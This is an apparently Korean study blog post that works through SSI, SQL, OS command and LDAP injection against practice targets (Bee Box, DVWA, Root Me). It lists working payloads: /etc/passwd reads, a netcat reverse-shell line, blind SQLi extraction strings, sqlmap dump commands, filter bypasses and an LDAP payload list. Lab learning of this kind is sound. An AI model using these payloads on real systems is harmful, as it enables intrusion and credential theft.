기준

취약점 설명

SSI(server side include) :  HTML 페이지에서 사용하는 지시어로 페이지를 서비스할 때 서버에서 명령어가 처리됩니다.

SSI를 사용하면 CGI프로그램이나 다른 동적인 기술로 페이지 전체를 서비스하지 않아도 동적으로 생성된 내용을 페이지에 추가하여 나타낼 수 있습니다.

 

페이지가 생성될 때 명령어를 실행하여 추가하기 때문에 작은 내용을 페이지에 추가하여 생성하기에 편리한 부분이 있지만 서버의 명령어를 실행하여 내보내는 만큼 취약점이 매우 위험한 수준입니다.

 

방문자 수, 조회수와 같이 실시간으로 간략하게 페이지에 추가하는 부분에 주로 사용됩니다.

 

SSI 기능을 사용 중인 페이지의 확장자는 .stm, , .shtm, .shtml 등이 있으며 SSI파일이 있는 .htaccess파일을 가져올 수 있도록 서버 구성이 잘못된 경우 SSI인젝션 공격이 가능할 수 있습니다.

 

공격 방법

방법은 의외로 간단한데 Bee Box를 활용해서 알아보겠습니다.

위와 같은 페이지에 값을 넣어서 실행해보겠습니다.

실행한 페이지는 위와 같은 페이지가 됩니다.

first name과 last name을 넣는 페이지의 소스와 각 level별 값을 알 수 있습니다.

서버 내의 소스를 확인해보면 각 level 별 적용되는 보안사항을 알 수 있습니다.

위에서 적용된 소스를 볼 수 있고 functions_external.php를 확인해서 보안이 어떻게 적용되는지 확인해보겠습니다.

위의 소스들로 알 수 있는 것은 Low level은 보안이 적용되어 있지 않고, Medium level은 xss_check_4가 적용되며 High level은 xss_check_3이 적용됩니다.

각 level별 보안 사항은 적어보겠습니다.

xss_check_4 : ', ", \, NULL값의 앞에 \(백슬래쉬) 값이 추가되어 실행

xss_check_3 : 특수문자 (&, ", ', <, >)를 치환  

둘 중에서는 xss_check_3이 강력한 조치방법이며 주통가이드에서 대응방법으로 권고하고 있는 방법입니다.

 

이를 바탕으로 Bee Box를 High level을 제외하고 공격해보도록 하겠습니다.

 

1. Low level

실행되는 소스를 확인해본 후  Low level은 보안 사항이 없으므로 직접 공격을 해보도록 하겠습니다.

<!--exec cmd="cat /etc/passwd" -->

위의 코드를 넣어서 실행해보겠습니다.

위처럼 넣은 코드가 실행되는 것을 확인할 수 있습니다.

 

2. Medium level

전에 확인한 코드에서 확인한 것처럼 ', ", \, NULL값의 앞에 \(백슬래쉬) 값이 추가되어 실행되는 것입니다.

그럼 기존과 같은 코드를 넣어서 실행되는지 확인해보겠습니다.

 

위의 사진처럼 실행이 되지 않는 것을 확인할 수 있습니다.

이때 코드에서 \가 추가되는 특수문자(', ", \, NULL)를 사용하지 않는 방식으로 공격해보도록 하겠습니다.

위처럼 "를 사용하지 않은 코드를 넣어보도록 하겠습니다.

위처럼 \가 추가되는 "를 제외한 코드를 넣으면 실행되는 것을 확인할 수 있습니다.

-------------------------------------------------------------------------------------------------

이외에도 위와 같은 명령어를 통해 공격도 가능합니다.

또한, netcat을 활용하여 공격자 측에서 서버의 열려있는 포트를 확인했을 경우 <!--#exec cmd="ns [서버 IP] [접근하려는 포트] -e /bin/bash">를 삽입하여 명령어 실행도 가능합니다.

 

만약 실습 시에 서버 측의 접근 로그 확인 및 명령어 확인을 하고 싶다면 nc -lvp [포트번호]를 입력해주면 확인할 수 있습니다.

기준

취약점 설명

SQL 인젝션은 공격자가 코드를 주입하여 Database의 정보를 탈취하는 공격입니다.

관리자의 ID/PW 정보 및 사용자의 개인정보와 중요 정보를 탈취할 수 있는 심각하게 위험한 취약점입니다.

 

물론 공격 방법은 쉬운 편에 속하는데 이와 반대로 탈취되는 정보는 중요 정보가 많아 위험성이 매우 높습니다.

 

공격 방법은 대략 5가지 정도로 분류되며 각 취약점 별로 간략하게 설명드리겠습니다.

(참고 : https://noirstar.tistory.com/264)

 

1. Error Based SQL Injection

SQL 인젝션 중 가장 보편적으로 활용되는 기법입니다.

i) SELECT * FROM Users WHERE id='[입력 1]' AND password='[입력 2]'

위와 같은 쿼리문이 로그인 시 사용된다 가정하면 id값을 확인한 후 password값을 확인하는 것을 알 수 있습니다.

또한 입력값을 검증하지 않는 경우이므로 입력 1의 '를 이용해 간단하게 쿼리문 삽입이 가능합니다.

 

ii) ' or 1=1-- 을 입력 1에 삽입

입력 1의 '를 먼저 끝내주고 or 1=1 통해 쿼리 문의 명제를 참으로 만들어줍니다.

그리고 --로 뒷부분을 모두 주석 처리해주었습니다.

 

SELECT * FROM Users WHERE id=' ' or 1=1 --' AND password='[입력 2]' 

 

위처럼 쿼리문을 주입하게 되면 ID목록을 조회하게 됩니다.

그중 가장 처음 만들어진 ID를 로그인하게 되는 것입니다.

 

2. Union Based SQL Injection

Union은 쿼리문이 삽입될 때 앞과 뒤의 쿼리 문의 결과를 합쳐서 보여주는 명령어입니다.

만약 정상적인 쿼리문 뒤에 삽입이 된다면 원하는 쿼리문을 실행시킬 수 있게 되는 공격입니다.

 

Union Based SQL injection이 성공하기 어려운 이유는 조건이 있기 때문인데 두 개의 쿼리 문의 칼럼 수가 같아야 하며 또한 데이터형(문자형, 숫자형, 날자 형, 이진 데이터)이 같아야 가능합니다.

 

게시글을 조회하는 검색창이 있다고 가정하겠습니다.

i) SELECT * FROM Board WHERE title LIKE '%INPUT%' OR contents '%INPUT%'

Board table

id title contents
1 hi hello
2 bye Bye bye

위와 같은 쿼리 문과 테이블이 있다고 하겠습니다.

여기에서 입력한 것이 위 테이블과 비교하여 게시글을 검색하는 쿼리문입니다.

 

ii) ' UNION SELECT null, id, passwd FROM Users-- 을 INPUT에 삽입

여기에서 첫 부분의 INPUT에 쿼리를 삽입하여 UNION과 함께 Board의 칼럼수를 맞춰서 SELECT를 넣어주면 하나의 테이블로 두 쿼리 문의 결과값이 추출되게 됩니다.

 

퀴리문의 뒷부분에 --를 넣어줌으로써 뒤에 따라오는 쿼리문은 모두 주석 처리해주게 됩니다.

 

SELECT * FROM Board WHERE title LIKE '%' UNION SELECT null,id,passwd FROM Users--%' OR contents '%' UNION SELECT null,id,passwd FROM Users--%'

 

위처럼 삽입된 쿼리문의 뒷부분은 모두 주석 처리되어 SELECT로 선택한 부분의 정보가 보이게 되는 것입니다.

 

3. Blind SQL Injection

Blind는 뚜렷하게 id가 나오는 것이 아니라 참과 거짓을 통해 입력한 값이 맞는지 확인하는 방식입니다.

쿼리문 삽입 시에 삽입한 쿼리문은 통해 확인하고자 하는 데이터가 맞으면 참에 해당하는 동작을 수행하고 거짓이라면 거짓에 해당하는 동작을 수행하게 되는 것입니다.

 

이번에도 예를 들어드릴 건데 여기에서는 MySQL을 기준으로 진행해보겠습니다.

1) Time based

i) SELECT * FROM Users WHERE id = 'INPUT1' AND password = 'INPUT2'

위의 함수처럼 로그인을 하는 쿼리문에 있다고 가정해보도록 하겠습니다.

(위에서 먼저 설명드린 부분은 생략하고 설명드리도록 하겠습니다.)

 

ii) asd123' OR (LENGTH(DATABASE())=1 AND SLEEP(2) --를 INPUT1에 삽입

삽입을 통해 확인하고자 하는 부분은 DATABASE 이름의 길이입니다. 

여기에서 DATABASE 이름의 길이가 1이 맞는다면 SLEEP(2)가 동작할 것이고 아니라면 동작하지 않는 구조입니다.

이렇게 해서 DATABASE 이름의 길이는 확인할 수 있습니다.

 

SELECT * FROM Users WHERE id = 'asd123' OR (LENGTH(DATABASE())=1 AND SLEEP(2) --' AND password = 'INPUT2'

 

위처럼 INPUT1의 뒷부분은 주석 처리되어 동작하게 되는 것입니다.

 

2) Boolean based

i) SELECT * FROM Users WHERE id = 'INPUT1' AND password = 'INPUT2'

위의 함수처럼 로그인을 하는 쿼리문에 있다고 가정해보도록 하겠습니다.

(위에서 먼저 설명드린 부분은 생략하고 설명드리도록 하겠습니다.)

 

ii) abc123’ and ASCII(SUBSTR(SELECT name From information_schema.tables WHERE table_type=’base table’ limit 0,1)1,1)) > 100 -- 

위의 쿼리문은 table 명을 조회하는 쿼리로 limit를 통해 하나의 테이블을 조회하고, SUBSTR로 첫 글자를 확인하여 ASCII로 ascii값으로 변환해줍니다. 

만약 테이블명이 Users라면 U가 조회될 것이고 ascii값으로 변환되어 100과 비교가 될 것입니다.

이게 거짓이라면 로그인이 안되고 참이 될 때까지 100을 변경해가면서 시도해보면 될 것입니다.

 

SELECT * FROM Users WHERE id = 'abc123’ and ASCII(SUBSTR(SELECT name From information_schema.tables WHERE table_type=’base table’ limit 0,1)1,1)) > 100 --' AND password = 'INPUT2'

 

위처럼 INPUT1의 뒷부분은 주석 처리되어 동작하게 되는 것입니다.

 

이처럼 참과 거짓을 활용하여 확인하는 방식을 Blind SQL Injection이라고 하는데 도움이 되면 좋을 것 같아서 cheat sheet의 URL도 함께 첨부해 드립니다.

 

참고 : https://ansar0047.medium.com/blind-sql-injection-detection-and-exploitation-cheatsheet-17995a98fed1

 

Blind SQL Injection Detection and Exploitation (Cheatsheet)

Hi everyone,

ansar0047.medium.com

 

4. 기타 Injection

이 외에는 Stored Procedure SQL Injection과 Mass SQL Injection 등등이 있는데 두 가지만 설명드리고자 합니다.

 

Stored Procedure SQL Injection

Stored Procedure은 쿼리를 함수처럼 사용하기 위해 사용하는데 대표적으로는 MS-SQL의 xp_cmdshell로 명령어를 사용하는 것이 이에 해당합니다.

위와 같은 경우는 ';drop table Users; --와 같은 공격을 사용해서 심각한 피해를 주기도 하지만 시스템 권한을 획득해야 하는 경우가 많아 공격 난이도가 높습니다.

 

Mass SQL Injection

한 번의 공격을 통해 대량의 DB 정보가 변경되는 심각하게 위험한 공격 방법입니다.

일부분은 HEX인코딩하거나 전체를 HEX인코딩하는 방식으로 구분됩니다.

DB값을 변조할 경우 악성 스크립트를 함께 주입하여 페이지를 방문하는 사용자에게 악성코드를 감염시키는 방식으로 DDoS 공격에 사용되기도 합니다.

공격 방법

(이번의 공격은 Bee Box와 DVWA를 혼용해서 해보도록 하겠습니다.)

1. Error Based

DVWA의 SQL Injection Low Level을 대상으로 하였습니다.

소스를 확인해보겠습니다.

소스를 확인해보면 쿼리문의 형태를 확인할 수 있다.

동작 방식을 다시 확인해보겠습니다.

번호를 넣어주면 번호에 해당하는 이름을 받아오는 방식입니다.

소스에서 확인한 쿼리문은 아래와 같습니다.

SELECT first_name, last_name FROM users WHERE user_id = '$id';

쿼리문에서 싱글 쿼터(')로 입력 값 앞을 규정하고 있으므로 '로 시작을 하면 될 것 같습니다.

또한 참값으로 Error를 발생시키면 id가 조회될 것으로 생각했습니다.

뒷부분을 주석 처리해서 진행해보았는데 Error가 발생해서 쿼리문 실행이 되지 않았습니다.

php구문의 ;";가 지워지면 Error가 발생하는 것이라고 생각하고 뒤를 연결시켜주기로 했습니다.

그러면 ' or '1'='1로 하면 뒤가 자연스럽게 연결될 것이라 생각하고 삽입해보았습니다.

위처럼 구문이 자연스럽게 연결되며 쿼리문이 실행되었습니다.

 

2. Union Based

위와 같은 문제에 Union based를 시도해보겠습니다.

소스를 확인해보면 print 되는 부분을 확인해보겠습니다.

처음부터 id, first, last순으로 칼럼이 3개인 것을 확인할 수 있습니다.

id값은 입력값이 출력되는 부분으로 필요 부분은 first와 last입니다.

우선 앞서 시도했던 것과 같은 방식으로 싱글 쿼터(')로 앞의 구문을 끝내주고 뒤를 UNION으로 연결해서 시도하도록 하겠습니다.

 

'UNION SELECT 1, TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES#

우선 MySQL의 정보 스키마는 INFORMATION_SCHEMA입니다.

이때 TABLES와 CILUMNS를 사용해서 DB 구조를 전반전으로 확인할 수 있습니다.

우선 DB 목록을 확인하기 위해 위와 같이 쿼리문을 작성하였는데 DB명 만을 필요로 하기에 1을 삽입해서 First name 필드를 1로 채워주었으며 DB 명은 Surname필드에 출력되도록 작성하였습니다.

위에서 확인한 결과 DB는 information_schema와 dvwa입니다.

information_schema는 DB의 메타데이터를 담고 있는 파일이므로 우리가 확인해야 할 부분은 dvwa일 것입니다.

' UNION SELECT 1, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='[DB 명]'#

전과 마찬가지로 DB 정보를 확인하기 위해 작성된 쿼리문입니다.

TABLE명을 확인하기 위한 쿼리문인데 DB명을 지정해서 확인할 수 있습니다.

우리가 확인해야 할 DB는 dvwa이므로 쿼리를 삽입하여 확인을 해보도록 하겠습니다.

확인된 TABLE은 guestbook과 users인데 우리가 필요한 부분은 사용자 정보이므로 users를 확인해보겠습니다.

' UNION SELECT COLUMN_NAME, 1 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='users'#

위에 작성된 쿼리문은 처음 보면 길어서 어려워 보일 수 있는데 구조는 TABLE 명 확인하는 쿼리문과 같습니다.

하지만 WHERE에 TABLE_SCHEMA를 dvwa를 포함하는 것이 좀 더 정확하게 작성하는 것이긴 합니다.

다만 편의를 위해 굳이 필요 없는 부분은 삭제하여 적은 것입니다.

users TABLE에 포함된 COLUMN을 확인하기 위한 쿼리문입니다.

위에서 확인된 값은 users TABLE에 포함된 칼럼명입니다.

여기에서 우리가 탈취해야 하는 정보는 id와 password일 것입니다.

하지만 처음 Error Based에서 확인했던 것과 같이 user_id는 번호로 되어있으므로 user를 검색하는 것이 맞아 보입니다..

' UNION SELECT user, password FROM dvwa.users#

위의 쿼리문을 써서 First name과 Surname에 user값과 password값을 추출해보도록 하겠습니다.

(여기에서 엄청 당황했어요;;;;)

password값으로 Hash값이 추출되는 것을 확인할 수 있었습니다.

하지만 여기에서 어떤 Hash값인지 알 수 없어서 구글에 검색해보는 방법을 선택했습니다. 

이것저것 넣어보다가 검색창에 Hash값을 넣어봤습니다.

위처럼 MD5라는 것을 알 수 있게 되었습니다.

(하지만 hash-identifier라는 툴을 이용해서 확인할 수 있는 방법도 있습니다.(저는 몰랐습니다;;;;))

MD5는 john the ripper로 풀 수 있다는 것을 알게 되었습니다.

우선 id와 password를 위와 같이 정리해주었습니다.

john the ripper로 디코딩해보면 위와 같은 값을 확인할 수 있습니다.

 

3. Blind SQL Injection

Bee Box내에 있는 Blind SQL injection의 Time-Based와 Boolean Based를 사용했습니다.

Time Based

위에서 작성했다시피 Time-Based는 Sleep이 실행되는가에 따라 참과 거짓을 기반으로 판단하는 방식입니다.

위의 검색창을 통해 Database의 정보를 알아보려고 합니다.

 

' OR LENGTH(DATABASE())=1 AND SLEEP(1)#

위에서 썼던 쿼리문을 사용해서 알아보도록 하겠습니다.

위에 페이지 명 탭을 보면 sleep이 걸리는 것을 확인할 수 있습니다.

만약 Database의 길이가 맞지 않는다면 sleep이 걸리지 않을 것입니다.

이렇게 Database의 정보를 하나씩 확인해서 추출해낼 수 있습니다.

명령어를 전부 써보도록 하겠습니다. 

 

Time Based 명령어

Database 명 길이 : ' OR LENGTH(DATABASE())=[확인하고 싶은 숫자] AND SLEEP(1)#

Database 명 확인 : ' OR (SUBSTRING(DATABASE(),1,1))='[확인하고 싶은 문자 혹은 단어]' AND SLEEP(1)#

첫 번째 TABLE 명 길이 : ' OR LENGTH((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE='base table' AND TABLE_SCHEMA='[확인한 Database 명]' LIMIT 0,1))=[확인하고 싶은 숫자] AND SLEEP(1)#

첫 번째 TABLE 명 확인 : ' OR ASCII(SUBSTRING((SELECT TABLE_NAME FROM INFORMATIOPN_SCHEMA.TABLES WHERE TABLE_TYPE='base table' AND TABLE_SCHEMA='[확인한 Database 명]' LIMIT 0,1),1,1))=[확인하려는 문자의 ASCII코드 번호] AND SLEEP(1)#

두 번째 TABLE 명 길이 : ' OR LENGTH((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE='base table' AND TABLE_SCHEMA='[확인한 Database 명]' LIMIT 1,1))=[확인하고 싶은 숫자] AND SLEEP(1)#

두 번째 TABLE 명 확인 : ' OR ASCII(SUBSTRING((SELECT TABLE_NAME FROM INFORMATIOPN_SCHEMA.TABLES WHERE TABLE_TYPE='base table' AND TABLE_SCHEMA='[확인한 Database 명]' LIMIT 1,1),1,1))=[확인하려는 문자의 ASCII코드 번호] AND SLEEP(1)#

확인한 TABLE의 첫 번째 COLUMN 명 길이 : ' OR LENGTH((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='[확인한 TABLE 명]' LIMIT 0,1))=4 AND SLEEP(1)#

확인한 TABLE의 첫 번째 COLUMN 명 확인 : ' OR ASCII(SUBSTRING((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='[확인한 TABLE 명]' LIMIT 0,1),1,1))=[확인하려는 문자의 ASCII코드 번호] AND SLEEP(1)#

확인한 TABLE의 두 번째 COLUMN 명 길이 : ' OR LENGTH((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='[확인한 TABLE 명]' LIMIT 1,1))=4 AND SLEEP(1)#

확인한 TABLE의 두 번째 COLUMN 명 확인 : ' OR ASCII(SUBSTRING((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='[확인한 TABLE 명]' LIMIT 1,1),1,1))=[확인하려는 문자의 ASCII코드 번호] AND SLEEP(1)#

확인된 TABLE의 확인하려는 COLUMN의 첫 번째 COLUMN 명 길이 : ' OR LENGTH((SELECT [확인된 COLUMN명] FROM [확인된 TABLE 명] LIMIT 0,1))=[확인하고 싶은 숫자] AND SLEEP(1)#

확인된 TABLE의 확인하려는 COLUMN의 첫 번째 COLUMN 명 확인 : ' OR ASCII(SUBSTRING((SELECT [확인된 COLUMN명] FROM [확인된 TABLE 명] LIMIT 0,1),1,1))=[확인하려는 문자의 ASCII코드 번호] AND SLEEP(1)#

COLUMN에서 확인된 ID의 PASSWORD 길이 : ' OR LENGTH((SELECT [확인된 COLUMN명] FROM [확인된 TABLE 명] WHERE LOGIN='[확인하려는 ID]'))=[확인하고 싶은 숫자] AND SLEEP(1)#

COLUMN에서 확인된 ID의 PASSWORD 확인 : ' OR ASCII(SUBSTRING((SELECT [확인된 COLUMN명] FROM [확인된 TABLE 명] WHERE LOGIN='[확인하려는 ID]'),1,1))=[확인하려는 문자의 ASCII코드 번호] AND SLEEP(1)#

PASSWORD확인 : ' OR [Hash 암호화 방식]("[확인하려는 ID의 비밀번호]") = (SELECT [확인된 COLUMN명] FROM [확인된 TABLE 명] WHERE LOGIN='[확인하려는 ID]') AND SLEEP(1)#

 

위처럼 하나씩 확인해서 진행하는 방법도 있으나 sqlmap이라는 툴을 이용해서 확인하는 방법도 있습니다.

생각보다 오래 걸리지만 직접 입력하는 것보다는 훨씬 빠른 방법입니다.

 

명령어를 간단하게 적어보도록 하겠습니다.

 

sqlmap 명령어

Database 리스트 추출 : sqlmap -u "[확인하려는 URL 주소(GET방식의 검색단어가 들어가는 URL)]" --cookie="[cookie 값]" -p "[URL에 포함된 확인하려는 변수]" --dbs --batch --treads=5 --level=5 --risk=3

Ex) sqlmap -u "http://172.16.10.20/bWAPP/sqli_15.php?title=&action=search"

--cookie="security_level=0; PHPSESSID=c7c7697ec875d78ebddc438f96ffefd8" -p "title" --dbs

--batch --threads=5 --level=5 --risk=3

옵션 종류

--dbs : 데이터베이스 리스트 출력

--batch : 명령어 수행 중 질문에 default 값으로 답함

--threads : 공격 수행하는 thread 개수를 지정

--level=5 --risk=3 : 최고 레벨의 공격까지 수행

 

-D : Database 명 지정

--tables : table 목록을 추출

-T : table 명 지정

--columns : column목록 추출

-C : column 지정

--dump : 덤프

이런 방식으로 DB명, TABLE명, COLUMN명을 알 수 있으며 ID, PW 등을 추출할 수 있습니다.

 

Boolean Based

쿼리문의 결과가 참이냐 거짓이냐에 따라 DB의 정보를 얻는 방식은 Time Based와 같습니다.

하지만 Time Based는 SLEEP이 실행되는가에 따라 찾는 방식이 아닌 문구가 바뀐다거나 정상 출력이 되는 방식으로 찾는 방식을 주로 사용합니다.

쿼리문이 참일 경우 위와 같이 'the movie exists in our database!'라고 뜨는 것을 확인할 수 있습니다.

하지만 쿼리문이 거짓일 경우 'the movie does not exists in our database!'라고 출력되는 것을 확인할 수 있습니다.

이런 방식으로 Time Based의 쿼리문에서 SLEEP을 제거하고 사용할 수 있습니다.

위에 보이는 쿼리문처럼 확인할 수 있으며 Time Based에서 SLEEP을 제거한 형태입니다.

'or sha1("bug") = (select password from users where login='bee')#

말씀드린 것처럼 하나씩 찾아가면 Boolean Based에서 참과 거짓을 이용하여 찾을 수 있습니다.

sqlmap을 이용하더라도 boolean based로 진행되는 것을 확인할 수 있습니다.

기준

취약점 설명

웹에서 서버에 명령어를 전송하여 서버의 정보를 얻을 수 있는 취약점이며 서버의 관리자 권한을 탈취할 수 있는 심각하게 위험한 취약점입니다.

 

주통가이드에서 설명하고 있는 redirect와 같은 취약점 말고도 직접적인 명령어를 전달하거나 서버의 아이디 생성 및 서버 환경을 조작할 수 있을 만큼 심각한 취약점입니다.

 

이와 같이 운영체제 명령 실행은 백도어 설치 혹은 관리자 권한 탈취와 같은 취약점을 발생시킬 수 있는 취약점입니다.

공격 방법

공격 방법을 설명하기 위해 DVWA를 활용했으며 각 Level별로 별명 드리도록 하겠습니다.

페이지 UI는 각 단계별로 위와 동일합니다.

1. Low

위의 소스에서 보면 필터링을 거치고 있지 않는 것을 확인할 수 있습니다.

shell명령어를 받아오는 부분에 ping -c 4를 입력한 후에 사용자 입력 값이 삽입되는 것을 알 수 있습니다.

위 ping명령어가 실행된 후 ;를 사용하여 새로운 명령어를 실행시킬 수 있습니다.

127.0.0.1 ; cat /etc/passwd

위 명령어처럼 ; 를 활용하여 명령어를 나누고 2개의 명령어를 실행시킬 수 있습니다.

 

2. medium

medium level도 그렇게 다르진 않습니다.

&&와 ;를 필터링하고 있는 것을 확인할 수 있습니다.

여기에서 알 수 있는 것은 &&는 필터링하고 있으나 &를 단일로 필터링하고 있지는 않은 부분입니다.

  • ; - 앞의 명령어가 실패해도 다음 명령어가 실행
  • && - 앞의 명령어가 성공했을 때 다음 명령어가 실행
  • & - 앞의 명령어를 백그라운드로 돌리고 동시에 뒤의 명령어를 실행
  • | - 앞의 명령어 실행 결과를 뒤의 명령어로 넘겨 실행
  • || - 앞의 명령어를 실행하여 앞의 명령어가 성공하면 뒤의 명령어가 실행되지 않음

위에서 처럼 다중 명령어를 사용하여 실행시키는 방법이 있습니다.

그럼 &를 단일로 써러 실행해보는 방법을 사용해 보겠습니다.

위처럼 &를 활용하여 실행이 가능합니다.

그럼 위의 다중 명령어를 활용하여 다른 방법도 사용해보겠습니다.

위처럼 |를 통해서도 실행이 가능합니다.

3. high

마지막 high level은 좀 더 많이 필터링하고 있는 것을 확인할 수 있습니다.

하지만 여기에서 주목해야할 부분은 |뒤에 띄어쓰기가 있는 부분입니다.

띄어쓰기를 인식하여 '| '를 필터링하는 것이지 |를 단일로 필터링하고 있는 것이 아닙니다.

그러면 지금까지와 비슷하게 명령어를 넣지만 띄어쓰기 없어 '|cat /etc/passwd'로 넣어보겠습니다.

이렇게 띄어쓰기만 없이 써도 필터링이 되지 않고 실행되는 것을 볼 수 있습니다.

 

------------------------------------------------------------------------------------------------------------------------------

 

물론 이것뿐만 아니라 ActiveX를 활용한 운영체제 명령 실행(RCE)도 가능한 경우도 있으며 CSV 파일을 이용한 Client Sode RCE 등 공격 방법은 다양하게 존재하고 있습니다.

기준

취약점 설명

LDAP는 TCP/IP 위에서 DS(Directory Service)를 조회하고 수정하는 Application Protocol입니다.

 

LDAP 인젝션은 LDAP를 인젝션 공격해서 비정상적인 행동을 하도록 하는 공격입니다. 로그인 시에 주로 사용되고 SQL 인젝션의 일종이었으며 SQL 인젝션과 비슷한 방식으로 공격합니다.

 

아래는 공격에 자주 사용되는 페이로드입니다.

*
*)(&
*))%00
)(cn=))\x00
*()|%26'
*()|&'
*(|(mail=*))
*(|(objectclass=*))
*)(uid=*))(|(uid=*
*/*
*|
/
//
//*
@*
|
admin*
admin*)((|userpassword=*)
admin*)((|userPassword=*)
x' or name()='username' or 'x'='y

아시는 분도 많으시겠지만 로그인의 ID와 Password에 삽입되는 경우가 많습니다.

위의 페이로드를 보시면 삽입이 되었을 때 (uid=[입력 값])(password=[입력 값])의 구문이 존재한다면  입력 값에 *)를 넣는다면 구문이 참이 될 것입니다.

이 처럼 구문내 입력 값을 특수문자를 삽입하여 참이 성립되도록 하는 공격입니다.

공격 방법

Root ME에 괜찮은 예제가 있어서 이용하겠습니다.

로그인에서 LDAP인젝션을 이용해서 인증우회를 하는 문제입니다.

먼저 *)를 써서 확인을 해보니 ERROR로 로그인 구문을 알 수 있었습니다.

위의 *)를 이용하면 참값을 써서 할 수 있을 것 같습니다.

방법은 두가지 정도가 있는데 먼저 앞의 uid부분을 참으로 만들어줬으니 뒤를 끊어버리는 방법을 사용해보겠습니다.

NULL Byte(%00)를 이용해서 로그인에 직접 넣어봤지만 입력되지 않아 프록시를 확인해 보기로 했습니다.

인코딩 되는 것을 확인하고 다시 삽입해주었습니다.

뒤의 password값은 끊어져서 앞의 id값으로만 flag값을 얻을 수 있었습니다.

 

다른 방법은 id와 password값을 모두 참으로 만들어주는 방법이 있습니다.

id부분만 참으로 POST 했을 경우에는 로그인이 되지 않았습니다.

그래서 id와 password를 같이 참으로 만들어 보내봤습니다.

이처럼 구문의 요청 값을 참으로 만들어줘서 접근이 가능하도록 하는 공격이었습니다. 

 

참고 :

https://www.hahwul.com/cullinan/ldap-injection/

 

LDAP Injection

🔍 Introduction LDAP Injeciton은 LDAP(Lightweight Directory Access Protocol)에 대한 Injection 공격으로 사용자의 입력값이 LDAP Query에 직접 영향을 끼칠 수 있을 때 이를 통해 비정상적인 LDAP 동작을 유도하는 공격

www.hahwul.com

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection

 

GitHub - swisskyrepo/PayloadsAllTheThings: A list of useful payloads and bypass for Web Application Security and Pentest/CTF

A list of useful payloads and bypass for Web Application Security and Pentest/CTF - GitHub - swisskyrepo/PayloadsAllTheThings: A list of useful payloads and bypass for Web Application Security and ...

github.com

+ Recent posts